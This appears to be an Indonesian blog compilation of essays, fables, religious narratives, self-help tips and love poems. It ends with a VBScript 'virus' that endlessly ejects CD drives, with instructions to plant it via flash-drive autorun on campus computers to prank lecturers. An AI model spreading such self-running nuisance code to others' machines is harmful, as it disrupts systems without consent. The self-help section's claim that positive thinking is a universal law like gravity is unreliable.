POLITIK KENIKMATAN

Kenikmatan adalah sebuah keniscayaan,
selalu dieja, dirajut, didamba,
tanpa ruang dan waktu.

Enaaaak Tenan, begitu sepenggal kata Timbul dalam mengiklankan produk jamu. Enak kata salah seorang pelawak terkenal itu, tentu berbeda dengan kenyataan rasa jamu yang diiklankan. Enak, dalam konteks ini, adalah realitas kata yang imajinatif dan konstruktif, mampu membangunkan sugesti konsumen.
Meskipun cenderung mendikotomikan antara seksualitas dan kenikmatan, seks tak ubahnya sebagai jamu yang mencerminkan rasa. Seksualitas dapat dipandang sebagai dunia religius, dunia substansial, sekaligus sebagai sebuah dunia yang mengagungkan aspek-aspek fisik, wadag. Dalam pandangan kejawen, seks adalah representasi dunia batin yang terdalam dan transenden. Seks tidak hanya bermakna biologis semata, melainkan justru lebih sebagai aktivitas spiritual. Oleh sebab itu, ritualisme seks selalu berada di ranah domestik. Sebuah domestikasi yang mengartikan sebuah kesadaran akan nilai-nilai tertentu. Di ruang domestik itu sebenarnya manusia memiliki kebebasan ekspresi dan imajinasi sebagai seorang makhluk. Tidak hanya kejawen, Asikalaibineng (Bugis), Kama Sutra (India), the Art of Love (Romawi) dan Suluh Pegawai (Melayu) adalah sederet teks dari tempat lain yang merumuskan betapa pentingnya keterpaduan pasangan, keterlibatan emosi, dan keseimbangan capaian kenikmatan dalam setiap hubungan seksual.
Tetapi, sebagai yang memuat bulir-bulir imajinasi, kenikmatan seksual tidak berada di ruang kosong, independen. Ia selalu menghadirkan intervensi bahkan dari yang paling profan sekalipun seperti kepentingan ekonomi dan politik. Itulah sebabnya, mengapa ada konstruksi seksualitas yang menekankan aspek-aspek fisik dan biologis yang menggiring nalar untuk larut dalam imajinasi tentang seksualitas dan hubungan seksual yang wadag. Panjang, besar, sempit, wangi, langsing, cantik, dan tahan lama selalu muncul sebagai ideal tubuh dan seksualitas.
Kenikmatan seksual tidak hanya dimonopoli oleh tubuh laki-laki dan perempuan yang berpadu secara religius. Kenikmatan seksual juga dicengkeram oleh kekuatan-kekuatan eksternal seperti pasar, agama, dan negara. Sebagai aktor kuasa, pasar, agama, dan negara secara intens membangun konstruksi tentang kenikmatan dengan kepentingan dan ideologi yang berbeda. Dalam banyak kasus, relasi kuasa empat kekuatan tersebut menunjukkan kontradiksi-kontradiksi, tetapi juga acapkali memperlihatkan kelindan-kelindan yang saling berpeluk mesra.

Begitu kuat tarikan kekuatan-kekuatan eksternal tersebut, sehingga tidak mustahil jika individu pelaku seksual larut dalam genggaman di luar dirinya. Masihkah hubungan seksual kembali menjadi milik individu, termasuk dalam menentukan ukuran-ukuran kenikmatannya? Independensi seksualitas memang tetap penting, dan politik kenikmatan hanya akan memerosokkan kehormatan seksualitas ke dalam lembah yang tak terlihat dasarnya.

Sumber : Novi Anoegrajekti
Gambar : @kenikmatan_tiga. JALAN-JALAN 

IBU SEJATI

        Kisah ini mirip dengan kejadian pada masa Nabi Sulaiman ketika masih muda. Entah sudah berapa hari kasus seorang bayi yang diakui oleh dua orang ibu yang sama-sama ingin memiliki anak. Hakim rupanya mengalami kesulitan memutuskan dan menentukan perempuan yang mana sebenarnya yang menjadi ibu bayi itu.
      Karena kasus berlarut-larut, maka terpaksa hakim menghadap Baginda Raja untuk minta bantuan. Baginda pun turun tangan. Baginda memakai taktik rayuan. Baginda berpendapat mungkin dengan cara-cara yang amat halus salah satu, wanita itu ada yang mau mengalah. Tetapi kebijaksanaan Baginda Raja Harun Al Rasyid justru membuat kedua perempuan makin mati-matian saling mengaku bahwa bayi itu adalah anaknya. Baginda berputus asa.
         Mengingat tak ada cara-cara lain lagi yang bisa diterapkan Baginda memanggil Abu Nawas. Abu Nawas hadir menggantikan hakim. Abu Nawas tidak mau menjatuhkan putusan pada hari itu melainkan menunda sampai hari berikutnya. Semua yang hadir yakin Abu Nawas pasti sedang mencari akal seperti yang biasa dilakukan. Padahal penundaan itu hanya disebabkan algojo tidak ada di tempat.
Keesokan hari sidang pengadilan diteruskan lagi. Abu Nawas memanggrl algojo dengan pedang di tangan. Abu Nawas memerintahkan agar bayi itu diletakkan di atas meja. "Apa yang akan kau perbuat terhadap bayi itu?" kata kedua perempuan itu saling memandang. Kemudian Abu Nawas melanjutkan dialog. "Sebelum saya mengambil tindakan apakah salah satu dari kalian bersedia mengalah dan menyerahkan bayi itu kepada yang memang berhak memilikinya?"

" Tidak, bayi itu adalah anakku." kata kedua perem­puan itu serentak.
"Baiklah, kalau kalian memang sungguh-sungguh sama menginginkan bayi itu dan tidak ada yang mau mengalah maka saya terpaksa membelah bayi itu menjadi dua sama rata.
" kata Abu Nawas mengancam.
 Perempuan pertama girang bukan kepalang, sedangkan perempuan kedua menjerit-jerit histeris. "Jangan, tolongjangan dibelah bayi itu. Biarlah aku rela bayi itu seutuhnya diserahkan kepada perempuan itu." kata perempuan kedua. 
        Abu Nawas tersenyum lega. Sekarang topeng mereka sudah terbuka. Abu Nawas segera mengambil bayi itu dan langsurig menyerahkan kepada perempuan kedua.

Abu Nawas minta agar perempuan pertama dihukum sesuai dengan perbuatannya. Karena tak ada ibu yang tega menyaksikan anaknya disembelih. Apalagi di depan mata. Baginda Raja merasa puas terhadap keputusan Abu Nawas. Dan .sebagai rasa terima kasih, Baginda menawari Abu Nawas menjadi penasehat hakim kerajaan. Tetapi Abu Nawas menolak. la lebih senang menjadi rakyat biasa.

Cerita sederhana ini bisa menjadikan pelajaran bagi kita bagaimana seorang ibu memperjuangkan kebahagiaan seorang anaknya... walau terkadang harus rela mengorbankan dirinya.. sendiri..

BERFIKIRLAH POSITIF


Bagaimana cara mencegah dan mengatasi pikiran negatif:

1. Hidup di saat ini
Memikirkan masa lalu atau masa depan adalah hal yang sering membuat kita cemas. Jarang sekali kita panik karena kejadian masa sekarang. Jika Anda menemukan pikiran anda terkukung dalam apa yang telah terjadi atau apa yang belum terjadi, ingatlah bahwa hanya masa kini yang dapat kita kontrol.

2. Fokus pada hal-hal positif
Ketika kita sedang sedang berpikiran negatif, seringkali kita lupa akan apa yang kita miliki dan lebih berfokus pada apa yang tidak kita miliki. Buatlah sebuah jurnal rasa syukur. Tidak masalah waktunya, tiap hari tulislah lima enam hal positif yang terjadi pada hari tersebut. Hal positif itu bisa berupa hal-hal besar ataupun sekadar hal-hal kecil seperti ‘hari ini cerah’ atau ‘makan sore hari ini menakjubkan’. Selama Anda tetap konsisten melakukan kegiatan ini, hal ini mampu mengubah pemikiran negatif Anda menjadi suatu pemikiran positif. Dan ketika Anda mulai merasa berpikiran negatif, baca kembali jurnal tersebut.

3. Katakan hal positif pada diri sendiri
Katakan pada diri Anda bahwa Anda kuat, Anda mampu. Ucapkan hal tersebut terus-menerus, kapanpun. Terutama, mulailah hari dengan mengatakan hal positif tentang diri sendiri dan hari itu, tidak peduli jika hari itu Anda harus mengambil keputusan sulit ataupun Anda tidak mempercayai apa yang telah Anda katakan pada diri sendiri.

4. Percaya pada kekuatan pikiran positif
Jika Anda berpikir positif, hal-hal positif akan datang dan kesulitan-kesulitan akan terasa lebih ringan. Sebaliknya, jika Anda berpikiran negatif, hal-hal negatif akan menimpa Anda. Hal ini adalah hukum universal, seperti layaknya hukum gravitasi atau pertukaran energi. Tidak akan mudah untuk mengubah pola pikir Anda, namun usahanya sebanding dengan hasil yang bisa Anda petik.

5. Jangan berdiam diri
Telusuri apa yang membuat Anda berpikiran negatif, perbaiki, dan kembali maju. Jika hal tersebut tidak bisa diperbaiki lagi, berhenti mengeluh dan menyesal karena hal itu hanya akan menghabiskan waktu dan energi Anda, juga membuat Anda merasa tambah buruk. Terimalah apa yang telah terjadi, petik hikmah/pelajaran dari hal tersebut, dan kembali maju.

6. Hadapi rasa takutmu
Perasaan negatif muncul dari rasa takut, makin takut Anda akan hidup, makin banyak pikiran negatif dalam diri Anda. Jika Anda takut akan sesuatu, lakukan sesuatu itu. Rasa takut adalah bagian dari hidup namun kita memiliki pilihan untuk tidak membiarkan rasa takut menghentikan kita.

7. Ubah cara pandang
Ketika sesuatu tidak berjalan dengan baik, cari cara untuk melihat hal tersebut dari sudut pandang yang lebih positif. Dalam setiap tantangan terdapat keuntungan, dalam setiap keuntungan terdapat tantangan.

8. Bergeraklah
Berolahraga melepaskan endorphin yang mampu membuat perasaaan Anda menjadi lebih baik. Apakah itu sekadar berjalan mengelelingi blok ataupun berlari sepuluh kilometer, aktifitas fisik akan membuat diri kita merasa lebih baik. Ketika Anda merasa down, aktifitas olahraga lima belas menit dapat membuat Anda merasa lebih baik.

9. Coba hal-hal baru
Mencoba hal-hal baru juga dapat meningkatkan rasa percaya diri. Dengan mengatakan ya pada kehidupan Anda membuka lebih banyak kesempatan untuk bertumbuh. Jauhi pikiran ‘ya, tapi…’. Pengalaman baru, kecil atau besar, membuat hidup terasa lebih menyenangkan dan berguna.

Mengungkap Jati Diri Syeikh Siti Jenar


Merajut sebuah ilmu dan menjadikannya sehelai kain yang didalamnya penuh akan keindahan corak dan warna, inilah yang diidamkan seluruh ahli sufi. Rajutan demi rajutan tentang segala pemahaman ilmu, penghayatan dan keluasan tentang segala kebesaran Alloh, perjalanan dan pengorbanan yang selalu dilakoninnya sedari kecil, membuat segala macam ilmu yang ada padanya, menjadikannya derajat seorang waliyulloh kamil.
Dalam pandangan para waliyulloh, dimana badan telah tersirat asma’ Alloh dan segala tetesan darahnya telah mengalir kalimat tauhid, dimana setiap detak jantung selalu menyerukan keagunganNya dan setiap pandangan matanya mengandung makna tafakkur, tiada lain orang itu adalah seorang waliyulloh agung yang mana jasad dan ruhaniyahnya telah menyatu dengan dzat Alloh. Inilah sanjungan yang dilontarkan oleh seluruh bangsa wali kala itu pada sosok, kanjeng Syeikh Siti Jenar.Rohmat yang tersiram didalam tubuhnya, ilmu yang tersirat disetiap desiran nafasnya, pengetahuan tentang segala makna ketauhidan yang bersemayam didalam akal dan hatinya, membuat kanjeng Syeikh Siti Jenar menjadi seorang guru para wali
Lewat kezuhudan yang beliau miliki serta keluasan ilmu yang dia terapkan, membuat segala pengetahuannya selalu dijadikan contoh. Beliau benar benar seorang guru agung dalam mengembangkan sebuah dhaukiyah kewaliyan/tentang segala pemahaman ilmu kewaliyan. Tak heran bila kala itu banyak bermunculan para waliyulloh lewat ajaran ilafi yang dimilikinya.
Diantara beberapa nama santri beliau yang hingga akhir hayatnya telah sampai kepuncak derajat waliyulloh kamil, salah satunya, sunan Kali Jaga, raden Fatah, kibuyut Trusmi, kigede Plumbon, kigede Arjawinangun, pangeran Arya Kemuning, kiageng Demak Purwa Sari, ratu Ilir Pangabean, gusti agung Arya diningrat Caruban, Pangeran Paksi Antas Angin, sunan Muria, tubagus sulthan Hasanuddin, kiAgeng Bimantoro Jati, kiSubang Arya palantungan dan kigede Tegal gubug.
Seiring perjalanannya sebagai guru para wali, syeikh Siti Jenar mulai menyudahi segala aktifitas mengajarnya tatkala, Syarief Hidayatulloh/ sunan Gunung Jati, telah tiba dikota Cirebon. Bahkan dalam hal ini bukan hanya beliau yang menyudahi aktifitas mengajar pada saat itu, dedengkot wali Jawa, sunan Ampel dan sunan Giri juga mengakhirinya pula.
Mereka semua ta’dzim watahriman/ menghormati derajat yang lebih diagungkan, atas datangnya seorang Quthbul muthlak/ raja wali sedunia pada zaman tersebut, yaitu dengan adanya Syarief Hidayatulloh, yang sudah menetap dibumi tanah Jawa.
Sejak saat itu pula semua wali sejawa dwipa, mulai berbondong ngalaf ilmu datang kekota Cirebon, mereka jauh jauh sudah sangat mendambakan kedatangan, Syarief Hidayatulloh, yang ditunjuk langsung oleh, rosululloh SAW, menjadi sulthan semua mahluk ( Quthbul muthlak )
Nah, sebelum di kupas tuntas tentang jati diri, syeikh Siti Jenar, tentunya kita agak merasa bingung tentang jati diri, Syarief Hidayatulloh, yang barusan dibedarkan tadi. "Mengapa Syarief Hidayatulloh kala itu sangat disanjung oleh seluruh bangsa wali ?".
Dalam tarap kewaliyan, semua para waliyulloh, tanpa terkecuali mereka semua sudah sangat memahami akan segala tingkatan yang ada pada dirinya. Dan dalam tingkatan ini tidak satupun dari mereka yang tidak tahu, akan segala derajat yang dimiliki oleh wali lainnya. Semua ini karena Alloh SWT, jauh jauh telah memberi hawatief pada setiap diri para waliyulloh, tentang segala hal yang menyangkut derajat kewaliyan seseorang.
Nah, sebagai pemahaman yang lebih jelas, dimana Alloh SWT, menunjuk seseorang menjadikannya derajat waliyulloh, maka pada waktu yang bersamaan, nabiyulloh, Hidir AS, yang diutus langsung oleh malaikat, Jibril AS, akan mengabarkannya kepada seluruh para waliyulloh lainnya tentang pengangkatan wali yang barusan ditunjuk tadi sekaligus dengan derajat yang diembannya.
Disini akan dituliskan tingkatan derajat kewaliyan seseorang, dimulai dari tingkat yang paling atas. "Quthbul muthlak- Athman- Arba’ul ‘Amadu- Autad- Nukoba’ – Nujaba’ – Abdal- dan seterusnya". Nah dari pembedaran ini wajar bila saat itu seluruh wali Jawa berbondong datang ngalaf ilmu ketanah Cirebon, karena tak lain didaerah tersebut telah bersemayam seorang derajat, Quthbul muthlak, yang sangat dimulyakan akan derajat dan pemahaman ilmunya.
Kembali kecerita syeikh Siti Jenar, sejak adanya, Syarief Hidayatulloh, yang telah memegang penting dalam peranan kewaliyan, hampir seluruh wali kala itu belajar arti ma’rifat kepadanya, diantara salah satunya adalah, syeikh Siti Jenar sendiri.
Empat tahun para wali ikut bersamanya dalam “Husnul ilmi Al kamil"/ menyempurnakan segala pemahaman ilmu, dan setelah itu, Syarief Hidayulloh, menyarankan pada seluruh para wali untuk kembali ketempat asalnya masing masing. Mereka diwajibkan untuk membuka kembali pengajian secara umum sebagai syiar islam secara menyeluruh.
Tentunya empat tahun bukan waktu yang sedikit bagi para wali kala itu, mereka telah menemukan jati diri ilmu yang sesungguhnya lewat keluasan yang diajarkan oleh seorang derajat, Quthbul mutlak. Sehingga dengan kematangan yang mereka peroleh, tidak semua dari mereka membuka kembali pesanggrahannya.
Banyak diantara mereka yang setelah mendapat pelajaran dari, Syarief Hidayatulloh, segala kecintaan ilmunya lebih diarahkan kesifat, Hubbulloh/ hanya cinta dan ingat kepada Alloh semata. Hal seperti ini terjadi dibeberapa pribadi para wali kala itu, diantaranya; syeikh Siti Jenar, sunan Kali Jaga, sulthan Hasanuddin Banten, pangeran Panjunan, pangeran Kejaksan dan Syeikh Magelung Sakti.
Mereka lebih memilih hidup menyendiri dalam kecintaannya terhadap Dzat Alloh SWT, sehingga dengan cara yang mereka lakukan menjadikan hatinya tertutup untuk manusia lain. Keyakinannya yang telah mencapai roh mahfud, membuat tingkah lahiriyah mereka tidak stabil. Mereka bagai orang gila yang tidak pernah punya rasa malu terhadap orang lain yang melihatnya.
Seperti halnya, syeikh Siti Jenar, beliau banyak menunjukkan sifat khoarik/ kesaktian ilmunya yang dipertontonkan didepan kalayak masyarakat umum. Sedangkan sunan Kali Jaga sendiri setiap harinya selalu menaiki kuda lumping, yang terbuat dari bahan anyaman bambu. Sulthan Hasanuddin, lebih banyak mengeluarkan fatwa dan selalu menasehati pada binatang yang dia temui.
Pangeran Panjunan dan pangeran Kejaksaan, kakak beradik ini setiap harinya selalu membawa rebana yang terus dibunyikan sambil tak henti hentinya menyanyikan berbagai lagu cinta untuk tuannya Alloh SWT, dan syeikh Magelung Sakti, lebih dominan hari harinya selalu dimanfaatkan untuk bermain dengan anak anak.
Lewat perjalanan mereka para hubbulloh/ zadabiyah/ ingatannya hanya kepada, Alloh SWT, semata. Tiga tahun kemudian mereka telah bisa mengendalikan sifat kecintaannya dari sifat bangsa dzat Alloh, kembali kesifat asal, yaitu syariat dhohir.
Namun diantara mereka yang kedapatan sifat dzat Alloh ini hanya syeikh Siti Jenar, yang tidak mau meninggalkan kecintaanya untuk tuannya semata ( Alloh ) Beliau lebih memilih melestarikan kecintaannya yang tak bisa terbendung, sehingga dengan tidak terkontrol fisik lahiriyahnya beliau banyak dimanfaatkan kalangan umum yang sama sekali tidak mengerti akan ilmu kewaliyan.
Sebagai seorang waliyulloh yang sedang menapaki derajat fana’, segala ucapan apapun yang dilontarkan oleh syeikh Siti Jenar kala itu akan menjadi nyata, dan semua ini selalu dimanfaatkan oleh orang orang culas yang menginginkan ilmu kesaktiannya tanpa harus terlebih dahulu puasa dan ritual yang memberatkan dirinya.
Dengan dasar ini, orang orang yang memanfaatkan dirinya semakin bertambah banyak dan pada akhirnya mereka membuat sebuah perkumpulan untuk melawan para waliyulloh. Dari kisah ini pula, syeikh Siti Jenar, berkali kali dipanggil dalam sidang kewalian untuk cepat cepat merubah sifatnya yang banyak dimanfaatkan orang orang yang tidak bertanggung jawab, namun beliau tetap dalam pendiriannya untuk selalu memegang sifat dzat Alloh.
Bahkan dalam pandangan, syeikh Siti Jenar sendiri mengenai perihal orang orang yang memenfaatkan dirinya, beliau mengungkapkannya dalam sidang terhormat para waliyulloh; “Bagaiman diriku bisa marah maupun menolak apa yang diinginkan oleh orang yang memanfaatkanku, mereka semua adalah mahluk Alloh, yang mana setiap apa yang dikehendaki oleh mereka terhadap diriku, semua adalah ketentuanNya juga" lanjutnya. “Diriku hanya sebagai pelantara belaka dan segala yang mengabulkan tak lain dan tak bukan hanya dialah Alloh semata . Karena sesungguhnya adanya diriku adanya dia dan tidak adanya diriku tidak adanya dia. Alloh adalah diriku dan diriku adalah Alloh, dimana diriku memberi ketentuan disitu pula Alloh akan mengabulkannya. Jadi janganlah salah paham akan ilmu Alloh sesungguhnya, karena pada kesempatannya nanti semua akan kembali lagi kepadaNya."
Dari pembedaran tadi sebenarnya semua para waliyulloh, mengerti betul akan makna yang terkandung dari seorang yang sedang jatuh cinta kepada tuhannya, dan semua waliyulloh yang ada dalam persidangan kala itu tidak menyalahkan apa barusan yang diucapkan oleh, syeikh Siti Jenar. Hanya saja permasalahannya kala itu, seluruh para wali sedang menapaki pemahaman ilmu bersifat syar’i sebagai bahan dasar dari misi syiar islam untuk disampaikan kepada seluruh masyarakat luas yang memang belum mempunyai keyakinan yang sangat kuat dalam memasuki pencerahan arti islam itu sendiri. Wal hasil, semua para wali pada saat itu merasa takut akan pemahaman dari syeikh siti jenar, yang sepantasnya pemahaman beliau ini hanya boleh didengar oleh oleh orang yang sederajat dengannya, sebab bagaimanapun juga orang awam tidak akan bisa mengejar segala pemahaman yang dilontarkan oleh syeikh Siti Jenar.
Sedangkan pada saat itu, syeikh Siti Jenar yang sedang kedatangan sifat zadabiyah, beliau tidak bisa mengerem ucapannya yang bersifat ketauhidan, sehingga dengan cara yang dilakukannya ini membawa dampak kurang baik bagi masyarakt luas kala itu. Nah, untuk menanggulangi sifat syeikh Siti Jenar ini seluruh para wali akhirnya memohon petunjuk kepada Alloh SWT, tentang suatu penyelesaian atas dirinya, dan hampir semua para wali ini mendapat hawatif yang sama, yaitu : "Tiada jalan yang lebih baik bagi orang yang darahnya telah menyatu dengan tuhannya, kecuali dia harus cepat cepat dipertemukan dengan kekasihnya". Dari hasil hawatif para waliyulloh, akhirnya syeikh Siti Jenar dipertemukan dengan kekasihnya Alloh SWT, lewat eksekusi pancung. Dan cara ini bagi syeikh Siti Jenar sendiri sangat diidamkannya. Karena baginya, mati adalah kebahagiaan yang membawanya kesebuah kenikmatan untuk selama lamnya dalam naungan jannatun na’im



Menjalani Hidup dengan Kesadaran

Untuk dapat menikmati hidup, hal terpenting yang perlu Anda lakukan adalah menjadi SADAR. Inti kepemimpinan adalah kesadaran. Inti spiritualitas juga adalah kesadaran. Banyak orang yang menjalani hidup ini dalam keadaan tertidur. Mereka lahir, tumbuh, menikah, mencari nafkah, membesarkan anak, dan akhirnya meninggal dalam keadaan tertidur. 
Analoginya adalah seperti orang yang terkena hipnotis. Anda tahu di mana menyimpan uang. Anda pun tahu persis nomor pin Anda. Dan Andapun menyerahkan uang Anda pada orang tidak dikenal. Anda tahu,tapi tidak sadar. Karena itu, Anda bergerak bagaikan robot-robot yang dikendalikan orang lain, lingkungan, jabatan, uang, dan harta benda. 
Pengertian menyadari amat berbeda dengan mengetahui. Anda tahu berolah raga penting untuk kesehatan, tapi Anda tidak juga melakukannya. Anda tahu memperjualbelikan jabatan itu salah, tapi Anda menikmatinya. Anda tahu berselingkuh dapat menghancurkan keluarga, tapi Anda tidak dapat menahan godaan. Itulah contoh tahu tapi tidak sadar! 
Ada dua hal yang dapat membuat orang menjadi sadar. Pertama, peristiwa-peristiwa pahit dan musibah. Musibah sebenarnya adalah rahmat terselubung karena dapat membuat kita bangun dan sadar. Anda baru sadar pentingnya kesehatan kalau Anda sakit. Anda baru sadar pentingnya olahraga kalau kadar kolesterol Anda mencapai tingkat yang mengkhawatirkan. Anda baru sadar nikmatnya bekerja kalau Anda di-PHK. Seorang wanita karier baru menyadari bahwa keluarga jauh lebih penting setelah anaknya terkena narkoba. Seorang sopir taksi pernah bercerita bahwa ia baru menyadari bahayanya judi setelah hartanya habis. 
Kematian mungkin merupakan satu stimulus terbesar yang mampu menyentakkan kita. Banyak tokoh terkenal meninggal begitu saja. Mereka sedang sibuk memperjualbelikan kekuasaan, saling menjegal, berjuang meraih jabatan, lalu tiba-tiba saja meninggal. Bayangkan kalau Anda sedang menonton film di bioskop. Pertunjukan sedang berlangsung seru ketika tiba-tiba listrik padam. Petugas bioskop berkata, Silakan Anda pulang, pertunjukan sudah selesai! Anda protes, bahkan ingin menunggu sampai listrik hidup kembali. Tapi, si penjaga hanya berkata tegas, Pertunjukan sudah selesai, listriknya tidak akan pernah hidup kembali. Itulah analogi sederhana dari kematian. Kematian orang yang kita kenal, apalagi kerabat dekat kita sering menyadarkan kita pada arti hidup ini. Kematian menyadarkan kita pada betapa singkatnya hidup ini, betapa seringnya kita meributkan hal-hal sepele, dan betapa bodohnya kita menimbun kekayaan yang tidak sempat kita nikmati. 
Hidup ini seringkali menipu dan meninabobokan orang. Untuk menjadi bangun kita harus sadar mengenai tiga hal, yaitu siapa diri kita, darimana kita berasal, dan ke mana kita akan pergi. Untuk itu kita perlu sering mengambil jarak dari kesibukan kita dan melakukan kontemplasi. 
Ada sebuah ungkapan menarik dari seorang filsuf Perancis, Teilhard de Chardin, Kita bukanlah manusia yang mengalami pengalaman- pengalaman spiritual, kita adalah makhluk spiritual yang mengalami pengalaman-pengalam an manusiawi. Manusia bukanlah makhluk bumi melainkan makhluk langit. Kita adalah makhluk spiritual yang kebetulan sedang menempati rumah kita di bumi. Tubuh kita sebenarnya hanyalah rumah sementara bagi jiwa kita. Tubuh diperlukan karena merupakan salah satu syarat untuk bisa hidup di dunia. Tetapi, tubuh ini lama kelamaan akan rusak dan akhirnya tidak dapat digunakan lagi. Pada saat itulah jiwa kita akan meninggalkan rumah untuk mencari rumah yang lebih layak. Keadaan ini kita sebut meninggal dunia. Jangan lupa, ini bukan berarti mati karena jiwa kita tak pernah mati. Yang mati adalah rumah kita atau tubuh kita sendiri. 
Coba Anda resapi paragraf diatas dalam-dalam. Badan kita akan mati, tapi jiwa kita tetap hidup. Kalau Anda menyadari hal ini, Anda tidak akan menjadi manusia yang ngoyo dan serakah. Kita memang perlu hidup, perlu makanan, tempat tinggal, dan kebutuhan dasar lainnya. Bila Anda sudah mencapai semua kebutuhan tersebut, itu sudah cukup! Buat apa sibuk mengumpul-ngumpulka n kekayaan -- apalagi dengan menyalahgunakan jabatan -- kalau hasilnya tidak dapat Anda nikmati selama-lamanya. Apalagi Anda sudah merusak jiwa Anda sendiri dengan berlaku curang dan korup. Padahal, jiwa inilah milik kita yang abadi. 
Lantas, apakah kita perlu mengalami sendiri peristiwa-peristiwa yang pahit tersebut agar kita sadar? Jawabnya: ya! Tapi kalau Anda merasa cara tersebut terlalu mahal, ada cara kedua yang jauh lebih mudah: Belajarlah MENDENGARKAN. Dengarlah dan belajarlah dari pengalaman orang lain. Bukalah mata dan hati Anda untuk mengerti, mendengarkan, dan mempertanyakan semua pikiran dan paradigma Anda. Sayang, banyak orang yang mendengarkan semata-mata untuk memperkuat pendapat mereka sendiri, bukannya untuk mendapatkan sesuatu yang baru yang mungkin bertentangan dengan pendapat mereka sebelumnya. Orang yang seperti ini masih tertidur dan belum sepenuhnya bangun. 
Bila lidah kelu, tulisan menjadi perlu Pena lebih tajam dari pedang Tinta seorang berilmu lebih mulia dari darah seorang syahid 


semoga bermanfaat bagi kita semua..amin.


Harnadi Hajri, S.Pd 

FILOSOFI IKAN DAN DUNIA KERJA

Dalam dunia kerja terutama swasta sangat sering dijumpai turn over karyawan (terutama entry level) yang tinggi. Jika ditelaah dari sisi luar sang karyawan mungkin dapat dimungkinkan bisa saja karyawan mempunyai alasan kenapa dia pindah dari tempat bekerjanya.


Alasan itu sangat simpel, hanya 3 alasan yang mungkin, yakni :

1. Gaji yang diberikan terlalu kecil
2. Suasana kerja yang tidak nyaman
3. Sudah tidak ada tantangan.

Namun sebenarnya ada sisi lain yang perlu disimak, yakni tentang motif seorang karyawan dalam bekerja di suatu perusahaan yang dikaitkan dengan fenomena turn over karyawan. Jika diibaratkan ikan adalah karyawan, dan kolam adalah perusahaan tempat bekerja, maka terdapat suatu filosofi yang menarik dalam dunia kerja. Filosofi ini lebih mengarah pada motif tersebut, yakni kenapa ia ingin berpindah perusahaan

Nasihat untuk jiwaku.

JIWAKU...

Jiwaku menasihatiku dan mengungkapkan kepadaku bahawa cinta tidak hanya menghargai orang yang mencintai, tetapi juga orang yang dicintai dan yang tidak mencintai

Jiwaku berkata padaku dan menasihatiku agar mencintai semua orang yang membenciku dan berteman dengan mereka yang memfitnahku dan yang berburuk sangka padaku.

Jiwaku menasihatiku dan mengingatkanku agar tidak tertipu dengan kecantikan yang lahir dari keelokan luaran, kerna kecantikan yang luaran itu tidak menjamin kecantikan yang ada di dalaman.

Jiwaku menasihatiku dan memintaku untuk mendengar suara yang keluar bukan dari lidah maupun dari kerongkongan. Ia memintaku agar mendengar suara – suara yang lahir dari sanubari setiap insani agar diriku sensitif dengan setiap kata – kata dan perbuatan yang lahir dari peribadi.

Jiwaku menasihatiku dan mengingatkanku agar jangan menilai seseorang dengan menggunakan hati yang diselaputi kedengkian, keirihatian dan kegelapan. Nilailah seseorang melalui hati yang bersih agar diriku mampu melihat kejernihan disebalik kekotoran.

CINTA HATIKU

Cintaku...

Cinta buta, cinta mati, cinta yang membawa maut dan bermacam-macam lagi cinta selalu dikenali di sekitar para remaja masa kini. Cinta memang wujud, tidak benar andai seseorang itu berkata dia tidak pernah jatuh cinta atau sedang bercinta. Berkemungkinan cinta mereka tidak berbalas dan oleh sebab itu seseorang berkelakuan tidak ingin bercinta dan ingin hidup seorang diri.

Tetapi, cuma satu sahaja manusia sering lupa. Cinta sesama insan tidak akan kekal lama. Ini kerana, kita ada Tuhan dan Tuhan kita adalah Allah. Allah berkuasa menarik apa sahaja yang Dia ciptakan termasuk orang yang kita sayang .

Selama aku hidup..aku dah merasakan cinta buta, cinta yang hampir mati, cinta gila...sampai aku leka dan dibuai mimpi sampai aku tidur lena dan tak sedar sedar bahawa aku dialam nyata...aku mencari cinta sejati yang kekal abadi...aku sentiasa mencari cinta itu selagi aku bernafas..

Kini, pencarian ku berakhir apabila aku menemui cinta sejati ku..iaitu cinta kepada Allah s.w.t...Sebelum aku menyintai makhluk didunia ini, aku wajib menyintai Allah terlebih dahulu, baru lah menyintai Rasullullah s.a.w keluarga ku dan bakal suamiku serta makhluk di dunia ini...

Bila rasa kecewa, sakit hati, sedih, marah, bila kita benar benar ikhlas dibalas dengan penipuan atau salah faham yang tidak ada penyelesaian dengan ego masing masing buat aku lebih tabah dalam harungi hidup di dunia ini.. Selain itu membuatkan aku lebih matang dan berhati hati. Sesungguhnya aku letak kan qada dan qadar ku, ajal mautku, serta jodoh ku kepada Mu ya Allah...aku redha dan pasrah...

Tanpa judul


Kau tahu aku sayang kamu
Kau pun tahu bahwa aku sangat mencintaimu
Namun kenapa kau tak pedulikan itu
Pergi meninggalkanku bersama kenangan kita di masa lalu
kini kau telah meninggal kanku
menyisakan hati yang luka dalam kesediahan
sampa kapan aku harus begini
meratapi nasib
keterpurukan karena cintaku sendiri
salahkah aku mencintaimu
salahkan klao aku berharap selalu bersamamu..
dengan cinta yang aku harapkan selama ini..
inikah yang harus aku dapat..
setelah seluruh jiwa kupersembahkan untuk mu..

BUAT VIRUS SEDERHANA


Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs.
Caranya: Buka notepad dan masukkan code berikut,
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DELdan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.

PELAJARAN (AJARAN)


